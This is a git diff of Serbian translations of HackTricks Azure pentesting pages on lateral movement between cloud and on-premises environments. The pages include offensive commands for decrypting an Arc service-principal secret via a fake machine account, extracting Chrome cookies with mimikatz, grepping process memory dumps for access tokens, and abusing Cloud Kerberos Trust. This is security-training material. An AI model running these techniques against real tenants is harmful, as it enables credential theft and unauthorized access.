[https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +Ovaj alat omogućava izvođenje nekoliko akcija kao što je registracija mašine u Azure AD da bi se dobio PRT, i korišćenje PRT-ova (legitimnih ili ukradenih) za pristup resursima na nekoliko različitih načina. Ovo nisu direktni napadi, ali olakšava korišćenje PRT-ova za pristup resursima na različite načine. Pronađite više informacija na [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) ## Reference diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 579a2f21b..528135929 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,19 +1,19 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc ranjivi GPO Deploy Script {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Identifikacija Problema -Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenima) u Azure Arc koristeći metodu Grupa Politike. Da bi to olakšao, Microsoft pruža alat za implementaciju potreban za pokretanje procedure uključivanja. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1. +Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi se to olakšalo, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1. Kada se izvrši, DeployGPO.ps1 skripta obavlja sledeće radnje: 1. Kreira Azure Arc Servers Onboarding GPO unutar lokalnog domena. -2. Kopira EnableAzureArc.ps1 skriptu za uključivanje na određeni mrežni deo kreiran za proces uključivanja, koji takođe sadrži Windows instalacioni paket. +2. Kopira EnableAzureArc.ps1 skriptu za onboarding na određeni mrežni deo kreiran za proces onboardinga, koji takođe sadrži Windows instalacioni paket. -Kada se pokreće ova skripta, sys administratori treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje deo, i naziv dela. Dodatne informacije kao što su ID zakupca, grupa resursa, i druge potrebne informacije takođe moraju biti obezbeđene skripti. +Kada se pokreće ova skripta, sys admini treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti. -Enkriptovana tajna se generiše u AzureArcDeploy direktorijumu na određenom delu koristeći DPAPI-NG enkripciju. Enkriptovana tajna se čuva u datoteci pod nazivom encryptedServicePrincipalSecret. Dokazi o ovome mogu se naći u DeployGPO.ps1 skripti, gde se enkripcija vrši pozivanjem ProtectBase64 sa $descriptor i $ServicePrincipalSecret kao ulazima. Deskriptor se sastoji od SID-ova grupe Računara Domen i Kontrolera Domen, osiguravajući da se ServicePrincipalSecret može dekriptovati samo od strane Kontrolera Domen i grupa Računara Domen, kako je navedeno u komentarima skripte. +Enkriptovana tajna se generiše u AzureArcDeploy direktorijumu na određenom share-u koristeći DPAPI-NG enkripciju. Enkriptovana tajna se čuva u datoteci pod nazivom encryptedServicePrincipalSecret. Dokazi o ovome mogu se naći u DeployGPO.ps1 skripti, gde se enkripcija vrši pozivanjem ProtectBase64 sa $descriptor i $ServicePrincipalSecret kao ulazima. Deskriptor se sastoji od SID-ova grupe Domain Computer i Domain Controller, osiguravajući da se ServicePrincipalSecret može dekriptovati samo od strane grupe sigurnosti Domain Controllers i Domain Computers, kako je navedeno u komentarima skripte. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -22,20 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` -### Exploit +### Eksploatacija Imamo sledeće uslove: 1. Uspešno smo penetrirali unutrašnju mrežu. -2. Imamo mogućnost da kreiramo ili preuzmemo kontrolu nad računom računara unutar Active Directory. +2. Imamo mogućnost da kreiramo ili preuzmemo kontrolu nad korisničkim nalogom unutar Active Directory. 3. Otkrili smo mrežno deljenje koje sadrži AzureArcDeploy direktorijum. -Postoji nekoliko metoda za dobijanje računa računara unutar AD okruženja. Jedna od najčešćih je iskorišćavanje kvote računa računara. Druga metoda uključuje kompromitovanje računa računara putem ranjivih ACL-ova ili raznih drugih pogrešnih konfiguracija. +Postoji nekoliko metoda za dobijanje mašinskog naloga unutar AD okruženja. Jedna od najčešćih je eksploatacija kvote mašinskog naloga. Druga metoda uključuje kompromitovanje mašinskog naloga putem ranjivih ACL-ova ili raznih drugih pogrešnih konfiguracija. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -Kada se dobije nalog mašine, moguće je autentifikovati se koristeći ovaj nalog. Možemo ili koristiti runas.exe komandu sa netonly flagom ili koristiti pass-the-ticket sa Rubeus.exe. +Kada se dobije nalog mašine, moguće je autentifikovati se koristeći ovaj nalog. Možemo koristiti komandu runas.exe sa netonly flagom ili koristiti pass-the-ticket sa Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -54,7 +54,7 @@ $ebs ``` Alternativno, možemo koristiti [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -U ovom trenutku, možemo prikupiti preostale informacije potrebne za povezivanje sa Azure iz ArcInfo.json datoteke, koja se čuva na istom mrežnom delu kao i encryptedServicePrincipalSecret datoteka. Ova datoteka sadrži detalje kao što su: TenantId, servicePrincipalClientId, ResourceGroup i još mnogo toga. Sa ovim informacijama, možemo koristiti Azure CLI za autentifikaciju kao kompromitovani servisni principal. +U ovom trenutku, možemo prikupiti preostale informacije potrebne za povezivanje sa Azure-om iz ArcInfo.json datoteke, koja se čuva na istom mrežnom delu kao i encryptedServicePrincipalSecret datoteka. Ova datoteka sadrži detalje kao što su: TenantId, servicePrincipalClientId, ResourceGroup i još mnogo toga. Sa ovim informacijama, možemo koristiti Azure CLI za autentifikaciju kao kompromitovani servisni principal. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 9dcf8febd..b8e12e5bc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Lokalna Pohrana Tokena i Bezbednosne Razmatranja +## Lokalna Pohrana Tokena i Bezbednosne Preporuke -### Azure CLI (Interfejs Komandne Linije) +### Azure CLI (Interfejs za komandnu liniju) Tokeni i osetljivi podaci se lokalno čuvaju od strane Azure CLI, što izaziva bezbednosne brige: @@ -12,7 +12,7 @@ Tokeni i osetljivi podaci se lokalno čuvaju od strane Azure CLI, što izaziva b 2. **Informacije o Pretplati**: `azureProfile.json`, u istoj direktoriji, sadrži detalje o pretplati. 3. **Log Fajlovi**: Folder `ErrorRecords` unutar `.azure` može sadržati logove sa izloženim akreditivima, kao što su: - Izvršene komande sa ugrađenim akreditivima. -- URL-ovi pristupani korišćenjem tokena, što može otkriti osetljive informacije. +- URL-ovi pristupljeni korišćenjem tokena, što može otkriti osetljive informacije. ### Azure PowerShell @@ -27,13 +27,13 @@ Azure PowerShell takođe čuva tokene i osetljive podatke, koji se mogu lokalno - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Preporuke za Bezbednost +## Bezbednosne Preporuke Uzimajući u obzir pohranu osetljivih podataka u običnom tekstu, ključno je osigurati ove fajlove i direktorijume: - Ograničiti prava pristupa ovim fajlovima. - Redovno pratiti i revizirati ove direktorijume zbog neovlašćenog pristupa ili neočekivanih promena. -- Koristiti enkripciju za osetljive fajlove gde je to moguće. +- Primenjivati šifrovanje za osetljive fajlove gde je to moguće. - Obrazovati korisnike o rizicima i najboljim praksama za rukovanje takvim osetljivim informacijama. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index a6d51b649..2cb572ea2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,7 +4,7 @@ ## Pass the Certificate (Azure) -Na mašinama pridruženim Azure-u, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdati od strane Azure AD CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije. +Na Azure povezanim mašinama, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdata od Azure AD CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije. U super pojednostavljenim terminima: @@ -28,7 +28,7 @@ Sertifikati će trajati isto kao i PRT. Da biste koristili sertifikat, možete k ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` -## References +## Reference - Za više detalja o tome kako Pass the Certificate funkcioniše, pogledajte originalni post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 8c41c5d4c..9f4fab62d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -20,7 +20,7 @@ Izazovan deo je to što su ti **kolačići enkriptovani** za **korisnika** putem https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** čak iako su enkriptovani ovom komandom: +Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** iako su enkriptovani ovom komandom: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 3b57497f0..6695caa7a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -1,4 +1,4 @@ -# Az - Primary Refresh Token (PRT) +# Az - Primarni osvežavajući token (PRT) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 785e9847b..49630faa5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Osnovne informacije** +## **Osnovne Informacije** -Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=OHKZkXC4Duw), neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu **čuvati pristupne tokene u čistom tekstu u memoriji**. Tako da samo **dumpovanje** **memorije** procesa i **grepovanje za JWT tokene** može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA. +Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=OHKZkXC4Duw), neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu **čuvati pristupne tokene u čistom tekstu u memoriji**. Tako da samo **dumpovanje** **memorije** procesa i **pretraga za JWT tokenima** može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA. Koraci: -1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom pomoću vašeg omiljenog alata. +1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom koristeći vaš omiljeni alat. 2. Pokrenite: `string excel.dmp | grep 'eyJ0'` i pronađite nekoliko tokena u izlazu 3. Pronađite tokene koji vas najviše zanimaju i pokrenite alate nad njima: ```bash @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Napomena da se ovi tipovi pristupnih tokena mogu naći i unutar drugih procesa.** +**Napomena da se ovakvi pristupni tokeni mogu naći i unutar drugih procesa.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index c1d54f744..2ced362cc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -6,29 +6,29 @@ ## Osnovne informacije -### Povjerenje +### Trust -Kada se uspostavi poverenje sa Azure AD, **stvara se Read Only Domain Controller (RODC) u AD-u.** **RODC korisnički nalog**, nazvan **`AzureADKerberos$`**. Takođe, sekundarni `krbtgt` nalog nazvan **`krbtgt_AzureAD`**. Ovaj nalog sadrži **Kerberos ključeve** koji se koriste za karte koje Azure AD kreira. +Kada se uspostavi poverenje sa Azure AD, **stvara se Read Only Domain Controller (RODC) u AD-u.** **RODC korisnički nalog**, nazvan **`AzureADKerberos$`**. Takođe, postoji sekundarni `krbtgt` nalog nazvan **`krbtgt_AzureAD`**. Ovaj nalog sadrži **Kerberos ključeve** koji se koriste za karte koje Azure AD kreira. -Stoga, ako je ovaj nalog kompromitovan, moglo bi biti moguće imitirati bilo kog korisnika... iako to nije tačno jer je ovom nalogu onemogućeno da kreira karte za bilo koju zajedničku privilegovanu AD grupu kao što su Domain Admins, Enterprise Admins, Administrators... +Dakle, ako je ovaj nalog kompromitovan, moglo bi biti moguće imitirati bilo kog korisnika... iako to nije tačno jer je ovom nalogu onemogućeno kreiranje karata za bilo koju uobičajenu privilegovanu AD grupu kao što su Domain Admins, Enterprise Admins, Administrators... > [!CAUTION] -> Međutim, u stvarnom scenariju biće privilegovanih korisnika koji nisu u tim grupama. Dakle, **novi krbtgt nalog, ako bude kompromitovan, mogao bi se koristiti za imitaciju njih.** +> Međutim, u stvarnom scenariju biće privilegovanih korisnika koji nisu u tim grupama. Tako da bi **novi krbtgt nalog, ako bude kompromitovan, mogao biti korišćen za imitaciju njih.** ### Kerberos TGT Štaviše, kada se korisnik autentifikuje na Windows-u koristeći hibridni identitet, **Azure AD će izdati delimičnu Kerberos kartu zajedno sa PRT-om.** TGT je delimičan jer **AzureAD ima ograničene informacije** o korisniku u on-prem AD-u (kao što su identifikator bezbednosti (SID) i ime).\ -Windows može zatim **razmeniti ovu delimičnu TGT za punu TGT** tražeći servisnu kartu za `krbtgt` servis. +Windows može **zameniti ovu delimičnu TGT za punu TGT** tražeći servisnu kartu za `krbtgt` servis. ### NTLM -Kako može postojati usluga koja ne podržava Kerberos autentifikaciju, već NTLM, moguće je zatražiti **delimičnu TGT potpisanu koristeći sekundarni `krbtgt`** ključ uključujući **`KERB-KEY-LIST-REQ`** polje u **PADATA** delu zahteva i zatim dobiti punu TGT potpisanu primarnim `krbtgt` ključem **uključujući NT hash u odgovoru**. +Kako može biti usluga koja ne podržava Kerberos autentifikaciju već NTLM, moguće je zatražiti **delimičnu TGT potpisanu koristeći sekundarni `krbtgt`** ključ uključujući **`KERB-KEY-LIST-REQ`** polje u **PADATA** delu zahteva i zatim dobiti punu TGT potpisanu primarnim `krbtgt` ključem **uključujući NT hash u odgovoru**. ## Zloupotreba Cloud Kerberos Trust za dobijanje Domain Admin -Kada AzureAD generiše **delimičnu TGT**, koristiće detalje koje ima o korisniku. Stoga, ako bi Global Admin mogao da izmeni podatke kao što su **identifikator bezbednosti i ime korisnika u AzureAD**, kada zatraži TGT za tog korisnika, **identifikator bezbednosti bi bio drugačiji**. +Kada AzureAD generiše **delimičnu TGT**, koristiće detalje koje ima o korisniku. Dakle, ako bi Global Admin mogao da izmeni podatke kao što su **identifikator bezbednosti i ime korisnika u AzureAD**, kada zatraži TGT za tog korisnika, **identifikator bezbednosti bi bio drugačiji**. -Nije moguće to učiniti putem Microsoft Graph-a ili Azure AD Graph-a, ali je moguće koristiti **API koji Active Directory Connect koristi** za kreiranje i ažuriranje sinhronizovanih korisnika, što mogu koristiti Global Admini da **izmene SAM ime i SID bilo kog hibridnog korisnika**, a zatim, ako se autentifikujemo, dobijamo delimičnu TGT koja sadrži izmenjeni SID. +Nije moguće to učiniti putem Microsoft Graph-a ili Azure AD Graph-a, ali je moguće koristiti **API koji Active Directory Connect** koristi za kreiranje i ažuriranje sinhronizovanih korisnika, što mogu koristiti Global Admini da **izmene SAM ime i SID bilo kog hibridnog korisnika**, a zatim, ako se autentifikujemo, dobijamo delimičnu TGT koja sadrži izmenjeni SID. Napomena da ovo možemo učiniti sa AADInternals i ažurirati sinhronizovane korisnike putem [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet-a. @@ -36,11 +36,11 @@ Napomena da ovo možemo učiniti sa AADInternals i ažurirati sinhronizovane kor Uspeh napada i sticanje privilegija Domain Admin zavise od ispunjavanja određenih preduslova: -- Sposobnost da se menjaju nalozi putem Synchronization API je ključna. To se može postići imajući ulogu Global Admin ili posedujući AD Connect sinhronizovani nalog. Alternativno, uloga Hibridnog identitetskog administratora bi bila dovoljna, jer omogućava upravljanje AD Connect-om i uspostavljanje novih sinhronizovanih naloga. +- Sposobnost da se menjaju nalozi putem Synchronization API je ključna. To se može postići imajući ulogu Global Admin ili posedujući AD Connect sinhronizovani nalog. Alternativno, uloga Hybrid Identity Administrator bi bila dovoljna, jer omogućava upravljanje AD Connect-om i uspostavljanje novih sinhronizovanih naloga. - Prisutnost **hibridnog naloga** je neophodna. Ovaj nalog mora biti podložan izmeni sa podacima žrtvovanog naloga i takođe bi trebao biti dostupan za autentifikaciju. - Identifikacija **ciljnog naloga žrtve** unutar Active Directory je neophodna. Iako se napad može izvršiti na bilo kom nalogu koji je već sinhronizovan, Azure AD tenant ne sme imati replicirane on-premises identifikatore bezbednosti, što zahteva izmenu nesinhronizovanog naloga kako bi se dobila karta. -- Pored toga, ovaj nalog bi trebao imati privilegije jednake privilegijama domain admin-a, ali ne sme biti član tipičnih AD administratorskih grupa kako bi se izbeglo generisanje nevažećih TGT-ova od strane AzureAD RODC-a. -- Najpogodniji cilj je **Active Directory nalog koji koristi AD Connect Sync servis**. Ovaj nalog nije sinhronizovan sa Azure AD, ostavljajući njegov SID kao mogući cilj, i inherentno ima privilegije jednake privilegijama domain admin-a zbog svoje uloge u sinhronizaciji hešova lozinki (pod pretpostavkom da je Password Hash Sync aktivan). Za domene sa ekspresnom instalacijom, ovaj nalog je prefiksiran sa **MSOL\_**. Za druge instance, nalog se može identifikovati prebrojavanjem svih naloga koji imaju privilegije replikacije direktorijuma na objektu domena. +- Pored toga, ovaj nalog bi trebao imati privilegije jednake privilegijama domain admin-a, ali ne sme biti član tipičnih AD administrator grupa kako bi se izbeglo generisanje nevažećih TGT-ova od strane AzureAD RODC-a. +- Najpogodniji cilj je **Active Directory nalog koji koristi AD Connect Sync servis**. Ovaj nalog nije sinhronizovan sa Azure AD, ostavljajući njegov SID kao mogući cilj, i inherentno ima privilegije jednake privilegijama domain admin-a zbog svoje uloge u sinhronizaciji hešova lozinki (pod pretpostavkom da je Password Hash Sync aktivan). Za domene sa ekspresnom instalacijom, ovaj nalog je prefiksiran sa **MSOL\_**. Za druge instance, nalog se može identifikovati prebrojavanjem svih naloga koji imaju privilegije Directory Replication na objektu domena. ### Potpuni napad diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index ddf430501..7fd64aa8f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,8 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Proverite tehniku na:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) i [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Blog post raspravlja o ranjivosti eskalacije privilegija u Azure AD, koja omogućava Administratorima aplikacija ili kompromitovanim On-Premise Sync računima da eskaliraju privilegije dodeljivanjem kredencijala aplikacijama. Ranjivost, koja proističe iz "po dizajnu" ponašanja Azure AD-a u vezi sa upravljanjem aplikacijama i servisnim principalima, posebno utiče na podrazumevane Office 365 aplikacije. Iako je prijavljena, Microsoft je ne smatra ranjivošću zbog dokumentacije o ponašanju dodele administratorskih prava. Post pruža detaljne tehničke uvide i savetuje redovne preglede kredencijala servisnih principala u Azure AD okruženjima. Za detaljnije informacije, možete posetiti originalni blog post. +Blog post raspravlja o ranjivosti eskalacije privilegija u Azure AD, koja omogućava Application Admins ili kompromitovanim On-Premise Sync Accounts da eskaliraju privilegije dodeljivanjem kredencijala aplikacijama. Ranjivost, koja proističe iz "po dizajnu" ponašanja Azure AD u vezi sa upravljanjem aplikacijama i servisnim principalima, posebno utiče na podrazumevane Office 365 aplikacije. Iako je prijavljena, Microsoft ne smatra ovaj problem ranjivošću zbog dokumentacije o ponašanju dodele administratorskih prava. Post pruža detaljne tehničke uvide i savetuje redovne preglede kredencijala servisnih principala u Azure AD okruženjima. Za detaljnije informacije, možete posetiti originalni blog post. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 3115a6366..dd629e782 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -4,7 +4,7 @@ ## Sinhronizacija AzureAD korisnika sa on-prem da bi se eskaliralo sa on-prem na AzureAD -Da bi se sinhronizovao novi korisnik **iz AzureAD u on-prem AD**, potrebni su sledeći uslovi: +Da bi se sinhronizovao novi korisnik f**rom AzureAD to the on-prem AD** ovi su zahtevi: - **AzureAD korisnik** treba da ima proxy adresu (**mailbox**) - Licenca nije potrebna @@ -12,12 +12,12 @@ Da bi se sinhronizovao novi korisnik **iz AzureAD u on-prem AD**, potrebni su sl ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -Kada se korisnik poput ovih pronađe u AzureAD, da biste **pristupili njemu iz on-prem AD** potrebno je samo da **napravite novi nalog** sa **proxyAddress** SMTP email. +Kada se korisnik poput ovih pronađe u AzureAD, da biste **pristupili njemu iz on-prem AD** potrebno je samo da **kreirate novi nalog** sa **proxyAddress** SMTP email. Automatski, ovaj korisnik će biti **sinhronizovan iz AzureAD u on-prem AD korisnika**. > [!CAUTION] -> Imajte na umu da za izvođenje ovog napada **ne trebate Domain Admin**, samo su vam potrebne dozvole da **napravite nove korisnike**. +> Imajte na umu da za izvođenje ovog napada **ne trebate Domain Admin**, samo su vam potrebne dozvole da **kreirate nove korisnike**. > > Takođe, ovo **neće zaobići MFA**. > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index e462af7fc..f7333b2a1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -6,11 +6,11 @@ [Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa. -Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna. +Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika vrši on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
-U suštini, u Federaciji, sva **autentifikacija** se odvija u **on-prem** okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**. +U suštini, u Federaciji, sva **autentifikacija** se vrši u **on-prem** okruženju i korisnik doživljava SSO u svim pouzdanim okruženjima. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**. **Security Assertion Markup Language (SAML)** se koristi za **razmenu** svih informacija o autentifikaciji i autorizaciji između provajdera. @@ -25,8 +25,8 @@ U bilo kojoj federacijskoj postavci postoje tri strane:
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti preskočen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije. -2. Zatim, SP identifikuje odgovarajući IdP (npr., AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP. -3. IdP preuzima kontrolu, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP i prosleđuje SP-u kroz korisnika. +2. Zatim, SP identifikuje odgovarajući IdP (npr. AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP. +3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP i prosleđuje SP-u kroz korisnika. 4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu. **Ako želite da saznate više o SAML autentifikaciji i uobičajenim napadima, idite na:** @@ -38,7 +38,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivotiranje - AD 